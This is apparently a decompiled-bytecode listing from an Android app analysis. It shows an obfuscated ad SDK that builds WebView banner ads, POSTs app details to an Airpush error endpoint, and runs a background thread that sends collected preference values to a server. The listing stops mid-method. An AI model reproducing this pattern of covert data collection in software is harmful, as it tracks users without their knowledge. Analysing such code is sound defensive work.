303 | invoke-virtual {v2}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->getTag()Ljava/lang/String; | |
304 | move-result-object v2 | |
306 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
307 | move-result-object v1 | |
309 | const-string v2, "</body></html>" | |
311 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
312 | const/4 v2, 0x0 | |
314 | invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
315 | move-result-object v3 | |
317 | const-string v4, "text/html" | |
319 | const-string v5, "UTF-8" | |
320 | const/4 v6, 0x0 | |
321 | move-object v1, p0 | |
323 | invoke-virtual/range {v1 .. v6}, Lcom/vxjxu/jkhfn1870/ImageBanner;->loadDataWithBaseURL(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V |
|
324 | goto/16 :goto_98 | |
325 | cond_1a0: | |
326 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
328 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->getBanner_type()Ljava/lang/String; | |
329 | move-result-object v1 | |
331 | const-string v2, "text" | |
333 | invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
334 | move-result v1 | |
335 | if-eqz v1, :cond_28b | |
336 | new-instance v7, Ljava/lang/StringBuilder; | |
338 | invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V | |
340 | const-string v1, "<html><head><style>* {margin:0;}</style></head><body>" | |
342 | invoke-virtual {v7, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
343 | new-instance v1, Ljava/lang/StringBuilder; | |
345 | invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V | |
347 | const-string v2, "<div style=\'background-color: " | |
349 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
350 | move-result-object v1 | |
352 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
354 | invoke-virtual {v2}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->getBanner_bg()Ljava/lang/String; | |
355 | move-result-object v2 | |
357 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
358 | move-result-object v1 | |
360 | const-string v2, "; width: " | |
362 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
363 | move-result-object v1 | |
365 | invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; | |
366 | move-result-object v1 | |
368 | const-string v2, "; height: " | |
370 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
371 | move-result-object v1 | |
372 | move/from16 v0, p3 | |
374 | invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; | |
375 | move-result-object v1 | |
377 | const-string v2, ";\'><table><tr>" | |
379 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
380 | move-result-object v1 | |
382 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
383 | move-result-object v1 | |
385 | invoke-virtual {v7, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
386 | new-instance v1, Ljava/lang/StringBuilder; | |
388 | invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V | |
390 | const-string v2, "<td rowspan=\'2\' align=\'center\'><img alt=\'icon\' style=\'padding: 2\' src=\'" | |
392 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
393 | move-result-object v1 | |
395 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
397 | invoke-virtual {v2}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->getAdimage()Ljava/lang/String; | |
398 | move-result-object v2 | |
400 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
401 | move-result-object v1 | |
403 | const-string v2, "\'></td>" | |
405 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
406 | move-result-object v1 | |
408 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
409 | move-result-object v1 | |
411 | invoke-virtual {v7, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
412 | new-instance v1, Ljava/lang/StringBuilder; | |
414 | invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V | |
416 | const-string v2, "<td><font color=\'" | |
418 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
419 | move-result-object v1 | |
421 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
423 | invoke-virtual {v2}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->getTextColor()Ljava/lang/String; | |
424 | move-result-object v2 | |
426 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
427 | move-result-object v1 | |
429 | const-string v2, "\'><b>" | |
431 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
432 | move-result-object v1 | |
434 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
436 | invoke-virtual {v2}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->getTitle()Ljava/lang/String; | |
437 | move-result-object v2 | |
439 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
440 | move-result-object v1 | |
442 | const-string v2, "</b><br></font>" | |
444 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
445 | move-result-object v1 | |
447 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
448 | move-result-object v1 | |
450 | invoke-virtual {v7, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
451 | new-instance v1, Ljava/lang/StringBuilder; | |
453 | invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V | |
455 | const-string v2, "</td><tr><td><font size=2 color=\'" | |
457 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
458 | move-result-object v1 | |
460 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
462 | invoke-virtual {v2}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->getTextColor()Ljava/lang/String; | |
463 | move-result-object v2 | |
465 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
466 | move-result-object v1 | |
468 | const-string v2, "\'>" | |
470 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
471 | move-result-object v1 | |
473 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
475 | invoke-virtual {v2}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->getText()Ljava/lang/String; | |
476 | move-result-object v2 | |
478 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
479 | move-result-object v1 | |
481 | const-string v2, "</font></td></tr>" | |
483 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
484 | move-result-object v1 | |
486 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
487 | move-result-object v1 | |
489 | invoke-virtual {v7, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
491 | const-string v1, "</table></div></body></html>" | |
493 | invoke-virtual {v7, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
494 | const/4 v2, 0x0 | |
496 | invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
497 | move-result-object v3 | |
499 | const-string v4, "text/html" | |
501 | const-string v5, "UTF-8" | |
502 | const/4 v6, 0x0 | |
503 | move-object v1, p0 | |
505 | invoke-virtual/range {v1 .. v6}, Lcom/vxjxu/jkhfn1870/ImageBanner;->loadDataWithBaseURL(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V |
|
506 | goto/16 :goto_98 | |
507 | cond_28b: new-instance v8, Ljava/lang/StringBuilder; | |
509 | invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V | |
511 | const-string v1, "<html><head><style>* {margin:0;padding:0;}</style></head><body>" | |
513 | invoke-virtual {v8, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
514 | move-result-object v1 | |
515 | new-instance v2, Ljava/lang/StringBuilder; | |
517 | invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V | |
519 | const-string v3, "<img src=\"" | |
521 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
522 | move-result-object v2 | |
524 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
526 | invoke-virtual {v3}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->getAdimage()Ljava/lang/String; | |
527 | move-result-object v3 | |
529 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
530 | move-result-object v2 | |
532 | const-string v3, "\" height=\"" | |
534 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
535 | move-result-object v2 | |
536 | move/from16 v0, p3 | |
538 | invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; | |
539 | move-result-object v2 | |
541 | const-string v3, "\" width=\"" | |
543 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
544 | move-result-object v2 | |
546 | invoke-virtual {v2, p2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; | |
547 | move-result-object v2 | |
549 | const-string v3, "\"/>" | |
551 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
552 | move-result-object v2 | |
554 | invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
555 | move-result-object v2 | |
557 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
558 | move-result-object v1 | |
560 | const-string v2, "</html></head>" | |
562 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
563 | const/4 v2, 0x0 | |
565 | invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
566 | move-result-object v3 | |
568 | const-string v4, "text/html" | |
570 | const-string v5, "UTF-8" | |
571 | const/4 v6, 0x0 | |
572 | move-object v1, p0 | |
574 | invoke-virtual/range {v1 .. v6}, Lcom/vxjxu/jkhfn1870/ImageBanner;->loadDataWithBaseURL(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V |
|
575 | try_end_2e2: goto/16 :goto_98 | |
576 | catch_2e4: move-exception v1 | |
577 | goto/16 :goto_6c |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | const/4 v2, 0x0 | |
2 | try_start_1: | |
3 | iget-object v11, p0, Lcom/vxjxu/jkhfn1870/SendIntegrationError$1;->this$0:Lcom/vxjxu/jkhfn1870/SendIntegrationError; | |
5 | invoke-static {v11}, Lcom/vxjxu/jkhfn1870/SendIntegrationError;->access$000(Lcom/vxjxu/jkhfn1870/SendIntegrationError;)Landroid/content/Context; | |
6 | move-result-object v11 | |
8 | invoke-virtual {v11}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager; | |
9 | move-result-object v11 | |
11 | iget-object v12, p0, Lcom/vxjxu/jkhfn1870/SendIntegrationError$1;->this$0:Lcom/vxjxu/jkhfn1870/SendIntegrationError; | |
13 | invoke-static {v12}, Lcom/vxjxu/jkhfn1870/SendIntegrationError;->access$000(Lcom/vxjxu/jkhfn1870/SendIntegrationError;)Landroid/content/Context; | |
14 | move-result-object v12 | |
16 | invoke-virtual {v12}, Landroid/content/Context;->getPackageName()Ljava/lang/String; | |
17 | move-result-object v12 | |
18 | const/4 v13, 0x0 | |
20 | invoke-virtual {v11, v12, v13}, Landroid/content/pm/PackageManager;->getPackageInfo(Ljava/lang/String;I)Landroid/content/pm/PackageInfo; |
|
21 | move-result-object v7 | |
22 | new-instance v11, Ljava/lang/StringBuilder; | |
24 | invoke-direct {v11}, Ljava/lang/StringBuilder;-><init>()V | |
26 | const-string v12, "" | |
28 | invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
29 | move-result-object v11 | |
30 | iget v12, v7, Landroid/content/pm/PackageInfo;->versionCode:I | |
32 | invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; | |
33 | move-result-object v11 | |
35 | invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
36 | move-result-object v10 | |
37 | new-instance v6, Ljava/util/ArrayList; | |
39 | invoke-direct {v6}, Ljava/util/ArrayList;-><init>()V | |
40 | new-instance v11, Lorg/apache/http/message/BasicNameValuePair; | |
42 | const-string v12, "appVersion" | |
44 | invoke-direct {v11, v12, v10}, Lorg/apache/http/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V |
|
46 | invoke-interface {v6, v11}, Ljava/util/List;->add(Ljava/lang/Object;)Z | |
47 | new-instance v11, Lorg/apache/http/message/BasicNameValuePair; | |
49 | const-string v12, "appId" | |
51 | invoke-static {}, Lcom/vxjxu/jkhfn1870/Util;->getAppID()Ljava/lang/String; | |
52 | move-result-object v13 | |
54 | invoke-direct {v11, v12, v13}, Lorg/apache/http/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V |
|
56 | invoke-interface {v6, v11}, Ljava/util/List;->add(Ljava/lang/Object;)Z | |
57 | new-instance v11, Lorg/apache/http/message/BasicNameValuePair; | |
59 | const-string v12, "errorCode" | |
60 | new-instance v13, Ljava/lang/StringBuilder; | |
62 | invoke-direct {v13}, Ljava/lang/StringBuilder;-><init>()V | |
64 | const-string v14, "" | |
66 | invoke-virtual {v13, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
67 | move-result-object v13 | |
68 | iget v14, p0, Lcom/vxjxu/jkhfn1870/SendIntegrationError$1;->val$code:I | |
70 | invoke-virtual {v13, v14}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; | |
71 | move-result-object v13 | |
73 | invoke-virtual {v13}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
74 | move-result-object v13 | |
76 | invoke-direct {v11, v12, v13}, Lorg/apache/http/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V |
|
78 | invoke-interface {v6, v11}, Ljava/util/List;->add(Ljava/lang/Object;)Z | |
79 | new-instance v11, Lorg/apache/http/message/BasicNameValuePair; | |
81 | const-string v12, "packageName" | |
83 | iget-object v13, p0, Lcom/vxjxu/jkhfn1870/SendIntegrationError$1;->this$0:Lcom/vxjxu/jkhfn1870/SendIntegrationError; | |
85 | invoke-static {v13}, Lcom/vxjxu/jkhfn1870/SendIntegrationError;->access$000(Lcom/vxjxu/jkhfn1870/SendIntegrationError;)Landroid/content/Context; | |
86 | move-result-object v13 | |
88 | invoke-virtual {v13}, Landroid/content/Context;->getPackageName()Ljava/lang/String; | |
89 | move-result-object v13 | |
91 | invoke-direct {v11, v12, v13}, Lorg/apache/http/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V |
|
93 | invoke-interface {v6, v11}, Ljava/util/List;->add(Ljava/lang/Object;)Z | |
95 | iget-object v11, p0, Lcom/vxjxu/jkhfn1870/SendIntegrationError$1;->this$0:Lcom/vxjxu/jkhfn1870/SendIntegrationError; | |
97 | invoke-static {v11}, Lcom/vxjxu/jkhfn1870/SendIntegrationError;->access$000(Lcom/vxjxu/jkhfn1870/SendIntegrationError;)Landroid/content/Context; | |
98 | move-result-object v11 | |
100 | invoke-virtual {v11}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager; | |
101 | move-result-object v11 | |
103 | iget-object v12, v7, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo; | |
105 | invoke-virtual {v11, v12}, Landroid/content/pm/PackageManager;->getApplicationLabel(Landroid/content/pm/ApplicationInfo;)Ljava/lang/CharSequence; | |
106 | move-result-object v0 | |
107 | new-instance v11, Lorg/apache/http/message/BasicNameValuePair; | |
109 | const-string v12, "appName" | |
111 | invoke-virtual {v0}, Ljava/lang/Object;->toString()Ljava/lang/String; | |
112 | move-result-object v13 | |
114 | invoke-direct {v11, v12, v13}, Lorg/apache/http/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V |
|
116 | invoke-interface {v6, v11}, Ljava/util/List;->add(Ljava/lang/Object;)Z | |
118 | const-string v11, "AirplaySDK" | |
119 | new-instance v12, Ljava/lang/StringBuilder; | |
121 | invoke-direct {v12}, Ljava/lang/StringBuilder;-><init>()V | |
123 | const-string v13, "Error values: " | |
125 | invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
126 | move-result-object v12 | |
128 | invoke-virtual {v12, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; | |
129 | move-result-object v12 | |
131 | invoke-virtual {v12}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
132 | move-result-object v12 | |
134 | invoke-static {v11, v12}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
135 | new-instance v5, Lorg/apache/http/impl/client/DefaultHttpClient; | |
137 | invoke-direct {v5}, Lorg/apache/http/impl/client/DefaultHttpClient;-><init>()V | |
138 | new-instance v4, Lorg/apache/http/client/methods/HttpPost; | |
140 | const-string v11, "https://api.airpush.com/integrationerror/error.php" | |
142 | invoke-direct {v4, v11}, Lorg/apache/http/client/methods/HttpPost;-><init>(Ljava/lang/String;)V |
|
143 | new-instance v11, Lorg/apache/http/client/entity/UrlEncodedFormEntity; | |
145 | invoke-direct {v11, v6}, Lorg/apache/http/client/entity/UrlEncodedFormEntity;-><init>(Ljava/util/List;)V | |
147 | invoke-virtual {v4, v11}, Lorg/apache/http/client/methods/HttpPost;->setEntity(Lorg/apache/http/HttpEntity;)V | |
148 | new-instance v1, Lorg/apache/http/params/BasicHttpParams; | |
150 | invoke-direct {v1}, Lorg/apache/http/params/BasicHttpParams;-><init>()V | |
152 | invoke-virtual {v4, v1}, Lorg/apache/http/client/methods/HttpPost;->setParams(Lorg/apache/http/params/HttpParams;)V | |
153 | const/16 v11, 0x1b58 | |
155 | invoke-static {v1, v11}, Lorg/apache/http/params/HttpConnectionParams;->setConnectionTimeout(Lorg/apache/http/params/HttpParams;I)V |
|
156 | const/16 v11, 0x1b58 | |
158 | invoke-static {v1, v11}, Lorg/apache/http/params/HttpConnectionParams;->setSoTimeout(Lorg/apache/http/params/HttpParams;I)V |
|
160 | invoke-interface {v5, v4}, Lorg/apache/http/client/HttpClient;->execute(Lorg/apache/http/client/methods/HttpUriRequest;)Lorg/apache/http/HttpResponse; | |
161 | move-result-object v8 | |
162 | if-nez v8, :cond_11e | |
163 | goto_e1: | |
164 | const-string v11, "AirplaySDK" | |
165 | new-instance v12, Ljava/lang/StringBuilder; | |
167 | invoke-direct {v12}, Ljava/lang/StringBuilder;-><init>()V | |
169 | const-string v13, "Status code: " | |
171 | invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
172 | move-result-object v12 | |
174 | invoke-virtual {v12, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; |
|
175 | move-result-object v12 | |
177 | invoke-virtual {v12}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
178 | move-result-object v12 | |
180 | invoke-static {v11, v12}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
181 | const/16 v11, 0xc8 | |
182 | if-ne v2, v11, :cond_127 | |
184 | invoke-interface {v8}, Lorg/apache/http/HttpResponse;->getEntity()Lorg/apache/http/HttpEntity; | |
185 | move-result-object v11 | |
187 | invoke-static {v11}, Lorg/apache/http/util/EntityUtils;->toString(Lorg/apache/http/HttpEntity;)Ljava/lang/String; | |
188 | move-result-object v9 | |
190 | const-string v11, "AirplaySDK" | |
191 | new-instance v12, Ljava/lang/StringBuilder; | |
193 | invoke-direct {v12}, Ljava/lang/StringBuilder;-><init>()V | |
195 | const-string v13, "Error sent: " | |
197 | invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
198 | move-result-object v12 | |
200 | invoke-virtual {v12, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
201 | move-result-object v12 | |
203 | invoke-virtual {v12}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
204 | move-result-object v12 | |
206 | invoke-static {v11, v12}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
207 | goto_11d: return-void | |
208 | cond_11e: | |
209 | invoke-interface {v8}, Lorg/apache/http/HttpResponse;->getStatusLine()Lorg/apache/http/StatusLine; | |
210 | move-result-object v11 | |
212 | invoke-interface {v11}, Lorg/apache/http/StatusLine;->getStatusCode()I | |
213 | move-result v2 | |
214 | goto/16 :goto_e1 | |
215 | cond_127: | |
216 | const-string v11, "AirplaySDK" | |
217 | new-instance v12, Ljava/lang/StringBuilder; | |
219 | invoke-direct {v12}, Ljava/lang/StringBuilder;-><init>()V | |
221 | const-string v13, "Status Code: " | |
223 | invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
224 | move-result-object v12 | |
226 | invoke-virtual {v12, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; | |
227 | move-result-object v12 | |
229 | const-string v13, ", Reason: " | |
231 | invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
232 | move-result-object v12 | |
234 | invoke-interface {v8}, Lorg/apache/http/HttpResponse;->getStatusLine()Lorg/apache/http/StatusLine; | |
235 | move-result-object v13 | |
237 | invoke-interface {v13}, Lorg/apache/http/StatusLine;->getReasonPhrase()Ljava/lang/String; | |
238 | move-result-object v13 | |
240 | invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
241 | move-result-object v12 | |
243 | invoke-virtual {v12}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
244 | move-result-object v12 | |
246 | invoke-static {v11, v12}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
247 | try_end_151: goto/16 :goto_11d | |
248 | catch_152: move-exception v3 | |
250 | invoke-virtual {v3}, Landroid/content/pm/PackageManager$NameNotFoundException;->printStackTrace()V | |
251 | goto/16 :goto_11d | |
252 | catch_157: move-exception v3 | |
254 | invoke-virtual {v3}, Ljava/io/UnsupportedEncodingException;->printStackTrace()V | |
255 | goto/16 :goto_11d | |
256 | catch_15c: move-exception v3 | |
258 | invoke-virtual {v3}, Lorg/apache/http/client/ClientProtocolException;->printStackTrace()V | |
259 | goto/16 :goto_11d | |
260 | catch_161: move-exception v3 | |
262 | invoke-virtual {v3}, Ljava/io/IOException;->printStackTrace()V | |
263 | goto/16 :goto_11d | |
264 | catch_166: move-exception v3 | |
266 | invoke-virtual {v3}, Ljava/lang/Exception;->printStackTrace()V | |
267 | goto/16 :goto_11d |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | monitor-enter p0 | |
2 | try_start_1: iget-wide v10, p0, Lcom/vxjxu/jkhfn1870/NetworkThread;->wait:J | |
3 | try_end_3: const-wide/16 v12, 0x0 | |
4 | cmp-long v10, v10, v12 | |
5 | if-eqz v10, :cond_2c | |
6 | try_start_9: new-instance v10, Ljava/lang/StringBuilder; | |
8 | invoke-direct {v10}, Ljava/lang/StringBuilder;-><init>()V | |
10 | const-string v11, "Thread is waiting for " | |
12 | invoke-virtual {v10, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
13 | move-result-object v10 | |
14 | iget-wide v12, p0, Lcom/vxjxu/jkhfn1870/NetworkThread;->wait:J | |
16 | invoke-virtual {v10, v12, v13}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder; | |
17 | move-result-object v10 | |
19 | const-string v11, " ms." | |
21 | invoke-virtual {v10, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
22 | move-result-object v10 | |
24 | invoke-virtual {v10}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
25 | move-result-object v10 | |
27 | invoke-static {v10}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V | |
28 | iget-wide v10, p0, Lcom/vxjxu/jkhfn1870/NetworkThread;->wait:J | |
30 | invoke-virtual {p0, v10, v11}, Ljava/lang/Object;->wait(J)V |
|
31 | try_end_2c: | |
32 | iget-object v10, p0, Lcom/vxjxu/jkhfn1870/NetworkThread;->context:Landroid/content/Context; | |
34 | invoke-static {v10}, Lcom/vxjxu/jkhfn1870/Util;->checkInternetConnection(Landroid/content/Context;)Z | |
35 | try_end_31: move-result v10 | |
36 | if-eqz v10, :cond_112 | |
37 | try_start_34: iget-boolean v10, p0, Lcom/vxjxu/jkhfn1870/NetworkThread;->isAddvalues:Z | |
38 | if-eqz v10, :cond_43 | |
40 | iget-object v10, p0, Lcom/vxjxu/jkhfn1870/NetworkThread;->list:Ljava/util/List; | |
42 | iget-object v11, p0, Lcom/vxjxu/jkhfn1870/NetworkThread;->context:Landroid/content/Context; | |
44 | invoke-static {v11}, Lcom/vxjxu/jkhfn1870/SetPreferences;->setValues(Landroid/content/Context;)Ljava/util/List; | |
45 | move-result-object v11 | |
47 | invoke-interface {v10, v11}, Ljava/util/List;->addAll(Ljava/util/Collection;)Z | |
48 | cond_43: new-instance v4, Lorg/apache/http/client/methods/HttpPost; | |
50 | iget-object v10, p0, Lcom/vxjxu/jkhfn1870/NetworkThread;->url:Ljava/lang/String; | |
52 | invoke-direct {v4, v10}, Lorg/apache/http/client/methods/HttpPost;-><init>(Ljava/lang/String;)V | |
53 | new-instance v10, Ljava/lang/StringBuilder; | |
55 | invoke-direct {v10}, Ljava/lang/StringBuilder;-><init>()V | |
57 | const-string v11, "Values: " | |
59 | invoke-virtual {v10, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
60 | move-result-object v10 | |
62 | iget-object v11, p0, Lcom/vxjxu/jkhfn1870/NetworkThread;->list:Ljava/util/List; | |
64 | invoke-virtual {v10, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; | |
65 | move-result-object v10 | |
67 | invoke-virtual {v10}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
68 | move-result-object v10 | |
70 | invoke-static {v10}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V | |
71 | new-instance v10, Lorg/apache/http/client/entity/UrlEncodedFormEntity; | |
